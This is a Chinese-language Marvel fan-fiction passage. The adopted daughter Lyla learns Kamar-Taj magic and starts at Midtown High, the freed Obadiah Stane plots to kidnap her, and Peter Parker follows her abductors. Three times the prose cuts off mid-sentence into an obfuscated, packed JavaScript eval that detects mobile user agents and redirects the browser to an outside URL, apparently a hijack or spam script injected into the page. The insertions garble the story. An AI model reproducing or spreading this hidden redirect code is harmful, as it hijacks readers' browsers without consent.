在将魔法的基础学习完成后,古一向莱拉开放了图书馆的权限,让她可以随时查找她需要的魔法资料,或者通过相应的魔发资料进行学习。 卡玛泰姬的魔法和莱拉前世看的那些穿越小说不同,在那些穿越异世界成为魔法师的小说中,法师们基本上体内都会有一个法力源,然后靠着自己的精神力和咒语来控制施法,而卡玛泰姬的法师们,他们本身是没有法力的,平时的锻炼也大多是在锻炼精神力。 他们的力量本质上是“借来的”,大部分的法师修炼的都是白魔法,通过冥想与修炼与高维度的白魔法神明建立联系,从而借用维山帝(Vishanti)的力量。而少部分的法师,例如现任至尊法师古一,以及卡玛泰姬的叛徒,使用的则是黑魔法,借用的是黑暗系维度魔神的力量。 这两者这间的区别,大概就是正规借贷和民间高利贷的区别,白魔法只要注意及时还贷,基本上就不会出问题,但黑魔法索要的代价会更高,支付灵魂,□□等代价在所难免。 卡玛泰姬的入门魔法三件套中的秘法武器和秘法身躯,一个是变出各种武器,通常是鞭子,另一个则是用魔法能量强化自己的身体,增强体质与反应速度,都是为了降低对魔法的依赖。这也是卡玛泰姬中的法师大多是近战法师的根本原因。 怕欠多了贷款还不上。 而站在这帮法师顶点的古一,则又是另外一回事了。 正如普通的借贷人中会产生老赖一样,古一法师作为至尊法师,为了守护地球,主动吸取了黑暗维度的力量,也就是向维度魔神借贷,然后,凭借自己的力量成为了老赖。 而莱拉的目标,就是向这位至尊法师看齐,然后,超越她。等到她足够强的时候,对于那帮维度魔神来说,她才是真正的维度魔神! 当然这些都只是以后的事情了,现在一个多星期过去,该办的手续也办得差不多了,莱拉要开始上学了。 哈皮把车停在学校门口的时候,莱拉正靠在座椅上看手机。贾维斯昨晚把课程表和校区地图都推送到了她的手机上,她已经把整张地图记在了脑子里——哪栋楼是哪个年级的教室,食堂在什么地方,图书馆在几层,甚至哪个楼层的饮水机离她的第一节课教室最近。 “到了。”哈皮从后视镜里看了她一眼,语气里带着一种“你自己进去没问题吧”的试探。 莱拉把手机收回口袋里,解开安全带,推开车门。清晨的阳光从高楼的缝隙里漏下来,落在中城科技高中那栋红砖建筑的正面。校门口已经有三三两两的学生在往里走了,背着各种颜色的书包,手里拿着咖啡杯或者手机,有的在聊天,有的在低头看屏幕。 莱拉看着这普通的一幕,来到这个世界这么久,她接触了那么多上一辈子绝对接触不到的东西,恐怖分子,超能力,魔法,终于在这个时候,回归到了她熟悉的日常生活中了。 “下午我来接你。”哈皮的声音从车里传来。 “不用。”莱拉关上车门,弯腰凑到车窗边,朝哈皮笑了笑,“我开传送门回去。” 哈皮的表情停顿了一秒,他张了张嘴,最终什么也没说,发动车子驶离了校门口。莱拉看着那辆黑色轿车消失在转角,转过身,朝校门走去。 她被贾维斯安排入学这件事,办得比她想象的要顺利得多。托尼的养女要来上学——这个消息从校长办公室传出去的速度比贾维斯传输数据还快。她甚至不需要亲自去办手续,贾维斯已经把所有的电子档案都处理好了,校长那边在看到“斯塔克”这个姓氏的时候就痛快地点了头,连带着把她的入学测试都免了。不是因为她不需要测试,而是因为校长觉得“托尼·斯塔克的养女”这个身份比任何测试成绩都更有说服力。 托尼问过她要不要隐瞒身份。 “我可以让校长保密。”他说,语气很随意,带着外人想象不到的,斯塔克会有的体贴,“普通学生的身份可以让你获得更加纯粹的友谊。” 莱拉当时正在用念动力让古一给她的那本厚书漂浮在面前,一边翻页一边回答:“不用了。” 托尼靠在沙发上,看着她面前那本无风自动的书,眉毛微微挑了一下:“你不担心‘斯塔克’这个名字带来的麻烦?” 莱拉把书翻到下一页,抬起头看了他一眼,嘴角弯了一个带着点狡黠的弧度:“托尼,你觉得有人能骗得到我吗?” 托尼盯着她看了两秒,嘴角也弯了一下:“是啊,谁能骗得了你呢,小骗子。” 她找到教室的时候,离上课还有五分钟。教室的门半开着,她推门进去,里面已经坐了大概三分之二的学生,有的在聊天,有的在翻课本,有一个坐在最后一排靠窗的位置上,戴着耳机,头也不抬地在手机上打游戏。 莱拉扫了一眼教室,在前排靠右的一个空位坐了下来。书包放在桌面上,她从里面抽出一个笔记本和一支笔,然后靠在椅背上,开始观察这个教室和教室里的人。 大部分同学对她的出现没有太多反应,顶多是进门的时候有人抬头看了一眼,然后继续做自己的事。只有一个坐在她后面的男生,在她坐下来的时候,目光在她的后脑勺上停了一瞬。 那是一个棕色头发的男孩,比她高一些,身形乍一看很瘦,但却不会给人瘦弱的感觉。他的眼睛很大,颜色是浅棕色的,在日光灯下几乎接近金色。总而言之,是个长相秀气的小帅哥。 莱拉注意到了,男生看向她的动作很突兀,像是被吓了一跳般的猛地抬头,把他旁边那个身材圆润的小胖子吓了一跳。 莱拉的目光在男孩的脸上多停了一秒,然后收回来,看向前方的黑板。 上课铃响了。 一个戴着眼镜的中年女人走了进来,手里拿着一摞试卷和一本厚重的课本。她把东西放在讲台上,推了推眼镜,目光扫过教室:“我们今天有转学生。” 她看向莱拉:“莱拉·斯塔克,你愿意自我介绍一下吗?” 莱拉从座位上站起来,三十多双眼睛同时落在她身上,有的好奇,有的无聊,坐在最后一排靠窗位置,刚才在打游戏的那个男生,甚至没有抬头。 “我叫莱拉·斯塔克。”她说,声音不大,但很清楚,“刚来纽约,喜欢学习新的知识,很高兴认识大家。” 教室里安静了大约零点五秒。 然后炸了。 不是那种爆炸式的、所有人同时尖叫的炸,而是一种从几个点开始、像涟漪一样迅速扩散到整个教室的炸。先是最前排一个戴眼镜的女生猛地转过头,嘴巴张成了O型,眼睛瞪得比她的镜片还大,中间排一个正在喝水的男生,被旁边的人拍了一下胳膊,水从嘴角溢出来,滴在校服上,他顾不上擦,只是死死地盯着莱拉的后脑勺。 “斯塔克?!”有人压低了声音,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633919|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那声音的“压”做得太失败了,整个教室都听得清清楚楚,“那个‘斯塔克’吗?!” “托尼·斯塔克的斯塔克?” “斯塔克工业的那个斯塔克?” “她刚才说‘刚来纽约’——她从哪来的?” “她头发好短——是个女生吧?” 莱拉没有回头。她坐下来,把笔记本从桌面上拿起来翻了两页,像是刚才那句“斯塔克”引起的骚动和她没有任何关系。 “安静。”讲台上的老师用课本敲了一下讲台,声音不大,但足够让那些嗡嗡的低语声小了几度,“有什么问题下课再问,现在上课。” 那些窃窃私语没有完全消失,但从“全教室都能听到”降到了“只有邻座能听到”的级别。莱拉翻开笔记本,看到之前画的那张魔法阵草图,随手翻过一页,开始写日期和课程名称。 一个声音从她身后传来,压得很低,低到像是从牙缝里挤出来的,带着一种“我知道我不该说话但我忍不住”的急切。 “斯塔克?”他说,“是托尼·斯塔克的斯塔克吗?” 莱拉偏过头,侧了侧脸,用余光看了他一眼。坐在她后面的那个棕发男孩此时身体微微前倾,凑近了一些,他的眼睛很大,凑近的时候睫毛的影子落在颧骨上,表情里有一种压不住的、几乎要从脸上溢出来的好奇和兴奋。 “你这个问法有点奇怪。”莱拉说,“不过是的,托尼是我的父亲。” 男孩的音调下意识地拔高:“你是说——托尼·斯塔克——斯塔克工业的托尼·斯塔克——他是你父亲?!” 莱拉看着他,嘴角弯了一下。“世界上好像没有第二个托尼·斯塔克。” 男孩的眼睛睁得更大了,他想说什么,但这个时候讲台上的老师抬起了头,目光穿过整个教室,落在他身上。“帕克先生,上课的时候请不要打扰其他同学。” 教室里响起了一阵压抑的笑声,帕克的耳朵尖从浅粉色变成了深红色。他的嘴唇动了一下,发出一个含混的、介于“对不起”和“我不是故意的”之间的声音,然后把身体缩回了椅子里。 下课铃响的时候,莱拉正在把笔记本上的最后一句话写完。她的笔在句号上顿了一下,然后合上笔记本,动作不大,但“啪嗒”一声在嘈杂的教室里居然清晰地传了出去。 声音不大,却让走过来的几个学生都下意识地停下了脚步。 莱拉抬起头,看到自己课桌周围已经围了五六个人。三个女生站在左边,两个男生站在右边,还有一个胖乎乎的男生站在稍微靠后的位置,手里拿着一包没拆开的薯片,看起来是被朋友拽过来的。他们的表情各不相同——有的好奇,有的试探,有的带着一种“我只是路过顺便看看”的假装随意。 莱拉的目光从那些脸上一个一个地扫过去。 她没有站起来,还是坐在椅子上,后背靠着椅背,双手放在合上的笔记本上,手指交叠在一起。她的表情很平静,带着一种“我知道你们都在想什么”的笃定。 “如果有学习方面的事情想和我交流,我欢迎。”莱拉说,声音不大,但足够让面前的每一个人都听得清清楚楚,“不过如果你们别有用心的话——” 她顿了一下,嘴角微微弯了一下,语气中带上了些许兴味,像是在期待着什么一样,“最好祈祷不要被我看出来了。” 教室里安静了一瞬。这些十几岁的孩子,在被斯塔克这个名字吸引过来之后,似乎终于明白了这个名字所代表的力量,也不是他们能够轻易招惹的。 站在最前面的那个女生张了张嘴,似乎想说什么,但她的目光和莱拉的对上之后,那点想说的话就像被什么东西堵住了一样,缩了回去。站在右边的一个男生清了清嗓子,把目光移到了别处。那个拿着薯片的胖男生低头看了一眼手里的薯片,像是突然对它的成分表产生了浓厚的兴趣。 莱拉没有再说第二遍。她把笔记本放进书包里,拉好拉链,把书包背在肩上,从座位上站了起来。她的动作慢条斯理,甚至带着点优雅。 “借过。”她说。 站在她前面的那个女生侧身让开了。莱拉从她身边走过,穿过那些还在消化她刚才那句话的人群,朝教室门口走去。 看着她离开的背影,还坐在座位上的彼得.帕克嘴巴微微张开,许久之后才感慨道:“她好酷哦。” 17.第十七章 “今天的校园生活怎么样?”明明是在得到贾维斯的信息后特意出来的,却还要装作是刚好从实验室里出来的托尼看着已经回到了斯塔克大厦的莱拉,故作不经意地问道。 “还不错。”莱拉面前飘着的魔法书往下降了一些,露出了她带着些笑容的脸,“我喜欢学校。” “这倒是挺新鲜的。”托尼走到旁边的咖啡机旁,给自己弄了杯咖啡,“我还以为学校里你这个年纪的小孩子,应该都挺讨人厌的呢。” “这我倒是不太清楚。”莱拉若有所思,“这还是我第一次在(别的国家的)学校上课,老师和同学都很友善。” 托尼回想了下莱拉的成长环境,不得不承认,比起她之前生活中出现的那些人,学校里的那些学生和老师,的确怎么都算得上是友善了。 “好吧,很高兴你喜欢你的校园生活。”托尼笑着说道,“希望你也能够在学校里找到朋友。” 想到自己今天在学校里的表现,莱拉也笑了起来:“嗯,我也这么希望。” 以她现在的知识水平,在学校里待着更像是一种氛围体验。贾维斯给她准备的学习资料覆盖了高中三年的全部课程,她的进度已经远远超出了课堂上正在讲的内容。所以上课的时候她大多数时间都在做自己的事——要么在看更高年级的课本,要么在翻古一的魔法笔记。偶尔抬头看一眼黑板,确认一下老师讲的东西她有没有遗漏,然后继续低头。 老师们对她的“不听课”睁一只眼闭一只眼。斯塔克这个姓氏在学校里像一张隐形通行证,没有人会特意来找她的麻烦。同学们倒是想来找她,但她在第一节课下课时的发言效果出奇地好——至少到目前为止,除了彼得·帕克偶尔回头看她之外,还没有人主动凑上来跟她套近乎。 这种状态让她觉得舒服。不是被隔离的孤独,而是一种“我在人群中但不被干扰”的从容。她可以坐在教室里看魔法书,没有人会探头过来问她在看什么;她可以下课一个人去图书馆后面的花园坐着,没有人会跟过来。她像一条在浅水里游动的鱼,看得见周围的每一块石头、每一根水草,但它们不会挡住她的路。 时间就这样一天一天地过去了。 莱拉的魔法学习进入了新的阶段。卡玛泰姬的图书馆里的基础魔法知识类的书籍已经被她翻完了大半,她开始接触维度的概念。她的精神力在持续的使用中变得越来越强,念动力的范围从身边几米扩展到了几十米,她可以用意念同时操控十几件小物件在不同的方向移动而不会互相碰撞。 传送门开得越来越稳定,就算一整天都开着,她也能轻松支持。而传送门的灵活性也得到的极大的提升,这主要体现在她日常生活的使用中,现在她不管想要什么东西,都能随手开个合适大小的传送门,轻松拿到了。 卡玛泰姬图书馆的管理员王告诫她,不要这么轻易的使用魔法,魔法是法师们用来对抗维度魔神的,不是用来让生活变得更加方便的,因为每一次魔法的使用都需要支付相应代价。 不过莱拉当然是不在乎这点小小的代价的。 托尼那边也没有闲着。马克二号的设计图纸在他从阿富汗回来的第一天就开始了,现在那套银白色的、流线型的、和马克一号比起来简直不像是同一种东西的战甲已经完成了第一次试飞。 莱拉记得那天下午,她正在客厅里看书,听到窗外传来一阵尖啸声。她走到落地窗前,看到一道银白色的身影从曼哈顿的天际线划过,速度太快,只在她的视网膜上留下一条模糊的拖影。几秒后,那道光折返回来,在大厦顶层外面的半空中悬停。阳光照在战甲的金属表面上,反射出刺眼的光芒,胸口的蓝色反应堆在日光下依然清晰可见。 托尼的声音从战甲里传出来,带着一丝压不住的得意。“你觉得怎么样?” 莱拉看着那道悬停在半空中的银色身影,想起几个月前在山洞里,他穿着那套用废料拼凑的、焊缝粗糙的、颜色乱七八糟的马克一号,从火焰和浓烟中走出来。那时候他的战甲像一堆会走路的废铁,此刻他的战甲像一件来自未来的艺术品。 “比第一件好看。”莱拉说。 托尼从战甲里笑了一声:“谢谢夸奖,这件可不会再在半空中散架了。” 马克一号是在他们抵达纽约一周后才被海关放行的。 那堆散装的金属零件在货运箱里躺了好几天,被搬运工人搬来搬去,没有人知道那是一套曾经在阿富汗沙漠里大杀四方的钢铁战甲。托尼收到之后,花了半天时间把它重新拼了起来——不是为了修复它,而是为了把它放在实验室里当展示品。那套粗糙的、焊缝明显的、颜色斑驳的战甲,和旁边正在组装的、线条流畅的、银光闪闪的马克二号形成了鲜明的对比。像是史前文明的化石和未来科技的模型被摆在了同一个展区里。 马克二号试飞成功之后,托尼开始了他计划中的下一步。 莱拉在客厅的屏幕上看到过新闻片段——一个偏远的中东地区,某个被恐怖分子占领的村庄,半夜突然传来爆炸声和枪声。第二天早上,当地村民发现村外的武器库被炸成了一片焦土,里面的武器全部化为灰烬,而村里的平民无一伤亡。没有人看到是谁干的,但有人在远处的天空看到过一道银白色的光,像流星一样划过夜空,然后消失在天际线后面。 类似的新闻越来越多。阿富汗,巴基斯坦,叙利亚,索马里。每一次都是同样的模式——一个被恐怖分子控制的武器库被炸毁,平民安然无恙,现场只留下一片焦黑的废墟和远处目击者口中那道“银白色的光”。媒体开始称呼那个神秘人物为“幽灵”,有人说是新型无人机,有人说是特种部队的秘密装备,有人说是外星人。没有一个人猜到是托尼·斯塔克穿着他自己造的战甲在全世界飞来飞去。 莱拉每次看到那些新闻,都会想起托尼曾经和她说过的话:“我不会再让斯塔克工业的东西,伤到任何一个不该被伤害的人。” 他做到了,用他自己的方式。 这边莱拉和托尼都在按照自己的想法,按部就班的做着自己想做的事情的时候。另一边的监狱里,被关着的奥巴代亚被狱警带进了一间探视间。 探视间不大,一张桌子,两把椅子,四面灰白色的墙壁,天花板上有一个摄像头,红色的指示灯在黑暗中一明一暗。奥巴代亚·斯坦坐在桌子的一侧,穿着橙色的囚服,头发比一个月前白了不少,脸上的胡茬没有刮,整个人看起来老了十岁。但他的眼睛没有老——那双眼睛在看到走进探视间的那个人时,瞳孔微微收缩了一下,然后迅速恢复了平静。 走进来的是一个穿深色西装的男人,面孔普通到走在街上不会有人多看第二眼。他在奥巴代亚对面坐下,把一个厚厚的牛皮纸信封放在桌上,推到奥巴代亚面前。 “斯坦先生。”男人的声音很平,像是在跟一个客户谈一笔普通的生意,“我代表一些对您非常感兴趣的人来与您接触。” 奥巴代亚没有碰那个信封。他看着那个男人,嘴角弯了一下。那个弧度不是笑,是一种“我知道你们想要什么”的笃定:“他们对我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638133|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的兴趣,大概和对托尼·斯塔克的战甲的兴趣是同一件事。” “看来您确实很关注和托尼·斯塔克相关的信息。”男人没有否认,他伸出手,把信封又往前推了一点。“里面有您需要的东西。斯塔克在阿富汗造的那套战甲的全部数据——结构图、材料清单、每一个零件的尺寸和位置。” 奥巴代亚低头看着那个信封。他的手放在桌面下,没有被对面的男人看到,但他自己知道——他的手指在发抖。不是因为害怕,是因为那个名字。斯塔克。托尼·斯塔克。一个他从小看着长大的孩子,一个他以为永远会在他掌控之下的孩子,在所有人面前揭穿了他,把他送进了这间牢房,然后穿着他自己造的战甲在全世界的新闻里飞来飞去,被媒体称为“英雄”。 是的,他知道。媒体都认为那是斯塔克造出来的新武器,而奥巴代亚在看到那新闻的瞬间就知道了,那就是托尼。 他拿起信封,撕开封口,抽出里面的文件。第一页是一张马克一号的结构图,粗糙的线条勾勒出一个笨重的、焊缝明显的人形轮廓。他看着那张图,手指在纸面上轻轻划过。那个在山洞里托尼用废料拼凑出来的东西,那个此时正躺在斯塔克大厦实验室角落里当展示品的东西,此刻被打印在纸上,放在他面前。 “你们想要什么?”奥巴代亚把文件放回信封,看着对面的男人。 “托尼·斯塔克的战甲。”男人说,“不是山洞里的那套废铁,是他现在用来炸恐怖分子武器库的那套,银色的,会飞的。” 奥巴代亚看着男人,沉默了大概五秒钟:“我能得到什么?” “您将被无罪释放。全部指控撤销,记录清空,您可以离开这间牢房,回到您的豪宅里,继续过您的生活。”男人的语气依然很平,像是在背诵一份已经准备好的合同条款,“此外,如果您愿意,我们可以为您提供一笔可观的资金和一个新的身份。您可以选择留在美国,也可以选择去世界上任何一个没有引渡条约的国家。” 奥巴代亚靠在椅背上,双手交叉放在膝盖上。他的表情没有变化,但他的脑子里已经在飞速运转了。托尼·斯塔克的战甲。那套战甲的核心是方舟反应炉——一个缩小到可以放进胸口的、能量密度高得离谱的清洁能源装置。他在斯塔克工业干了那么多年,知道那东西意味着什么。那不是武器,那是整个人类文明的未来。而托尼把它装在一套铁皮里,穿着它在全世界飞来飞去,炸恐怖分子的武器库,像一个超级英雄。 “我需要人手。”奥巴代亚说,“研究员,工程师,实验室。” “都已经为您准备好了。”男人从西装内袋里掏出一部手机,放在桌上,推到奥巴代亚面前,“您离开这里之后,我们的人会带您去一个地方,为您准备的一切都在那里。” 奥巴代亚拿起那部手机,站起来,俯视着还坐在椅子上的男人。 “告诉你的老板。”奥巴代亚说,“我需要一周时间。” 男人点了点头,站起来,转身走出了探视间。门关上的声音在空荡的走廊里回荡了好几次才彻底安静下来。奥巴代亚站在原地,低头看着桌面。那个牛皮纸信封还在桌上,像一个沉默的承诺。他拿起信封,夹在腋下,朝门口走去。 没有人阻止他,他在监狱里畅行无阻,一路上甚至连一个狱警都看不到。奥巴代亚脸上没有任何表情变化,心里却惊讶于对方的能量之强大,不仅能拿到托尼第一套战甲的全部资料,在官方也有如此强大的实力。 亦或者,这帮人根本就是官方的人。 18.第十八章 正如刚才那个男人所说,奥巴代亚刚从监狱里出来,就看到了一辆停在监狱门口的黑色轿车。等奥巴代亚上车后,车子便飞速地驶离了监狱。 男人所承诺的实验室在长岛的一个工业园区里,表面上看是一家电子元件公司,没有人会注意到那些进进出出的人。奥巴代亚推开实验室的门时,里面已经有七八个人在等他了。他们穿着白大褂,站在一排排精密的仪器设备中间,表情各不相同——有的紧张,有的兴奋,有的带着一种“我不知道自己在做什么但老板给的钱够多”的麻木。 奥巴代亚走到主工作台前,把那个牛皮纸信封里的文件倒出来,摊在桌上。马克一号的结构图、零件清单、材料规格——每一页都标注得清清楚楚。 “这是你们的基础。”奥巴代亚的声音在实验室里回荡,每一个字都带着一种不容置疑的命令感,“我要你们把这些数据吃透,然后把它们升级,更大,更重,火力更强。” 研究员们凑到工作台前,开始翻阅那些文件。奥巴代亚站在一旁,看着他们的表情从最初的认真逐渐变成了困惑,然后变成了为难。 最初开口的是一个四十多岁的男人,头发稀疏,戴着一副厚厚的眼镜,看起来是这群人里资历最老的一个。他拿起那张方舟反应炉的结构图,翻来覆去地看了几遍,然后抬起头,看着奥巴代亚。 “斯坦先生,这个反应炉——我们没办法把它缩小到图中标注的尺寸。”他把图纸转过来,指着那个被标红的部件,“您看这里,能量输出的密度要求太高了,以我们目前的设备和技术水平,做不到。” 奥巴代亚看着他,目光冷得像冬天的铁轨:“做不到?” “是的。”那个研究员的声音低了下去,但还在努力解释,“这个反应炉的核心技术不是材料或者工艺的问题,而是设计本身,我们不知道他是怎么做到的。没有他的设计思路,我们只能逆向复制,但逆向复制需要时间——” “时间?”奥巴代亚的声音提高了半度,整个实验室安静了下来。他走到那个研究员面前,低头看着他。他比研究员高出整整一个头,居高临下的压迫感让研究员不自觉地后退了一步。 “托尼·斯塔克在山洞里,被一群拿枪的恐怖分子盯着,用废铜烂铁,做了一个你们在这里——有资金、有设备、有材料——做不出来的东西。”奥巴代亚的语气很平,但那种平比吼叫更让人害怕,“你们告诉我,问题出在哪里?” 实验室里安静了五秒钟。没有人敢说话。那些研究员低着头,有的在看自己的鞋尖,有的在盯着桌面上的图纸,没有一个敢与奥巴代亚对视。 然后一个很年轻的声音从角落里响了起来,带着一丝颤抖,但每个字都说得很清楚:“因为——因为我们不是托尼·斯塔克。” 奥巴代亚转过头,看着那个说话的人。一个看起来二十出头的年轻人,站在实验台后面,手里拿着一把游标卡尺,脸上的表情是“我知道我不该说这句话但我实在忍不住了”。 奥巴代亚盯着他看了三秒钟。然后他笑了,那种笑不是高兴的笑,而是一种被气到极点之后反而冷静下来的笑。 “你说得对。”他说,“你们不是托尼·斯塔克,所以我们需要换一种思路。” 他转过身,走回到工作台前,双手撑在桌面上,背对着那些研究员:“你们继续研究吧,把战甲先升级了,至于方舟反应炉,我来想办法。” 奥巴代亚离开了研究室,找到了一个僻静的房间,拿出手机翻了翻,打开了通讯录,拨通了里面唯一的一个电话号码。 电话很快就接通了,奥巴代亚不等对面开口,就直接说道:“我需要一些武装人员。” 对面沉默了片刻,然后才问道:“用来做什么?”声音是被变声器改变过的,有种奇怪的语调。 奥巴代亚没有在意,毕竟从对方的行动模式来看,就知道这帮家伙的行事风格就是隐藏在幕后,不会暴露出真实信息的那种。 他只是冷静的提出了自己的计划:“那帮研究员无法做出托尼·斯塔克用的那种小型方舟反应炉,我需要一个实物。” “我得提醒你,斯坦先生,我们不能引起太大的骚动。”电话那头的声音说道。 奥巴代亚冷笑一声:“你以为我打算做什么?直接去抢托尼·斯塔克身上的方舟反应炉吗?” “斯坦先生,我们需要知道你的具体计划,才能决定能不能给予你想要的东西。”电话那头的人情绪平和,丝毫没有因为奥巴代亚的嘲讽而生气的意思。 “我要从托尼身边的人下手。”奥巴代亚说道,语气中带着商人特有的狡猾,“托尼不会只做一个方舟反应炉,我们可以用他在乎的东西来和他交换。” 电话那头的人思索了片刻,给出了肯定的回答:“你需要的人明天早上就会到实验室,去做你想做的吧,我们只需要看到结果。” 第二天一早,一队看起来就很精锐的武装人员来到了实验室。为首的是个面容冷峻的男人,他看着奥巴代亚说道:“你可以叫我交叉骨,我们会配合你的计划,你的目标是谁?” 奥巴代亚没有立刻回答。 他站在工作台前,看着墙壁上贴着的几张托尼·斯塔克的新闻照片——新闻发布会上的托尼,穿着西装,对着镜头微笑,胸口的蓝色反应堆透过衬衫发出微光。 “他有家人了。”奥巴代亚说,“一个女儿。从阿富汗带回来的。” “她每天去学校。固定的路线,固定的时间,固定的司机。”他转过身,看着那些武装人员,“我们可以利用这个。” 莱拉是在一个很普通的中午被绑架的。 那天下午没有课,她打算提前回家。哈皮的车还没到,她站在学校侧门的路边等,书包背在肩上,手里拿着手机在看贾维斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641023|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发来的消息——托尼今天在测试马克二号的新武器系统,问她要不去现场看看。 然后一辆白色的面包车在她面前停了下来。车门滑开,两个戴黑色头套的男人从里面跳出来,动作很快,快到普通人根本来不及反应。一个从后面抱住她,另一个用一个浸了某种液体的布捂住了她的口鼻。 莱拉没有挣扎。 不是因为她挣扎不了——以她现在的身体素质,这两个人的力量加起来都不够她一只手对付的。她没有挣扎是因为好奇。她想知道是谁在绑架她,为什么绑架她,背后的人想要什么。自从她成为托尼·斯塔克的女儿之后,她就知道这一天迟早会来,毕竟“斯塔克”这个姓氏本身就意味着麻烦。 她象征性地挣扎了两下,然后就放松身体,闭上了眼睛,让自己看起来像是昏迷了一样。不管那块布上是什么液体,对于她现在的身体素质来说,都起不到任何效果。 她被人带上了车,那些人的动作粗鲁但利落,感觉像是受过训练的专业人员。 面包车发动了,轮胎在地面上发出尖锐的摩擦声,然后是加速时发动机的轰鸣。车子很快就驶离了校门口,整个过程非常短暂,不超过一分钟,发出的动静也很轻微,在这个时间点,根本不会被任何人看到。 彼得·帕克看到了。 他当时正蹲在学校主楼入口处的台阶上,手里拿着一个吃了一半的三明治,打算在上课之前把午饭解决掉。他的位置刚好能看到侧门——不是因为他在特意看莱拉,而是因为他恰好面朝那个方向。至少他是这么告诉自己的。 从莱拉转学来的第一天起,他就没法不注意到她。不是因为她姓斯塔克——好吧,那确实是原因之一,但不是全部原因。她坐在他前面的时候,头发剪得很短,从后面能看到她后颈上有一条很细很细的疤痕,从发际线一直延伸到衣领。她上课的时候不听课,总是在写写画画,偶尔抬头看一眼黑板,然后又低下头。 她下课的时候会一个人去图书馆后面的花园坐着,把一本厚得能砸开核桃的书放在膝盖上,一页一页地翻,从不到处走动,从不主动和任何人说话。 他想跟她说话,他每天都想。 他憧憬着对方那种毫不迟疑的态度,无论是最开始对所有同学说话的时候,还是后面独来独往自顾自行动的时候,都透着种不会被外界的任何东西所动摇的坚定。 所以彼得只是看着,从远处看着。像一个天文爱好者用望远镜观察一颗遥远的星球,看得见它璀璨的光,却无法触摸。 然后他看到那辆白色面包车在侧门停下来,看到两个戴头套的男人从车里跳出来,看到莱拉被捂住了口鼻。他的三明治从手里滑了下去,掉在台阶上,花生酱那一面朝下,沾满了灰尘。他没有低头去看。 他的身体比他的脑子先动了。 他从台阶上跳起来,朝那辆面包车冲过去。 19.第十九章 面包车在皇后区的街道上穿行,速度不算快——不是因为它跑不快,而是因为市内的红绿灯、单行道、绕不开的施工路段,让任何一辆车都没法在市区的白天全速行驶。 彼得跑得很快,但不是那种拼命冲刺的快。他的每一步都踩在节奏上——墙角、垃圾桶、消防梯、低矮的院墙——像一个熟悉这片区域的跑酷玩家在用自己的身体丈量这座城市。 他的运动鞋踩在砖墙上的声音很轻,跳过一个垃圾桶的时候甚至没有惊动旁边正在翻垃圾的流浪猫。他跟在面包车后面大约两百米的距离,不敢太近,但也不会跟丢。他在皇后区长大,每一条街、每一个巷口、每一栋楼的后门他都熟悉,即使面包车拐进了一条他没走过的巷子,他也能在十秒之内绕到巷子的另一头去等待它出现。 他路过一户人家的后院时,顺手从晾衣绳上拽了一件卫衣。黑色的,有些旧了,但够大。他一边跑一边把卫衣套在校服外面,嘴里含混不清地嘟囔了一句:“等我回来会付钱的……”然后从自己衣服上撕了一块布,往脸上一蒙,只露出一双眼睛。那布料粗糙,边缘也不整齐,绑在脸上的感觉像戴了一块抹布,但至少能遮住大半张脸。他低头看了一眼自己身上那套黑卫衣加蒙面布的组合,自己也觉得有点滑稽,但现在是中午,他不可能穿着校服跟踪绑匪。 面包车最终在皇后区深处的一座废弃工厂门口停了下来。厂房的红砖墙已经褪成了灰褐色,窗户大多破碎了,铁门上挂着一把崭新的锁——那把锁太新了,和周围破败的环境显得格格不入。彼得蹲在对面的屋顶上,看着面包车的侧门滑开,两个男人从里面跳出来,然后第三个男人扛着莱拉走了出来——她一动不动,垂着头,像是还在昏迷。 彼得的手指攥紧了屋顶边缘的砖块,指节发白。他等着那三个人走进工厂,然后把铁门重新锁上,才松开手,沿着墙壁无声地滑了下去。 工厂的屋顶是他熟悉的那种——波纹钢板,有些地方锈蚀穿孔,有些地方补过铁皮。他找到一个靠近主厅的角落,趴下来,从一道裂缝往下看。下方是一个宽敞的大厅,曾经可能是组装流水线的位置,现在只剩下空荡荡的水泥地面、几根生锈的立柱和墙上残留的、字迹早已模糊的安全标语。莱拉被带到一个角落的小房间门口,门被推开,她被放在里面靠墙的一张旧沙发上,然后那三个人退了出来,把门关上,锁好。 那两个男人离开之后,大厅里安静了下来。彼得听到门外传来脚步声和说话声,有人在巡逻,至少三个方向,他需要小心。他等了几分钟,确认那些脚步声已经散开,才挪到小房间上方的通风口。那块铁栅栏的螺丝已经锈蚀了大半,他用手轻轻一拧就下来了,然后把栅栏放在一边,身体从那个狭窄的开口滑进去,无声地落在地面上。 